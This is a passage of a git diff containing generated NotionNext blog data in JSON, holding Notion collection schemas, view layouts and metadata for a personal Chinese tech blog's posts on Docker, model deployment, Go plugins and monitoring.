-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-6.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-6.json new file mode 100644 index 000000000..4b175d36d --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-6.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 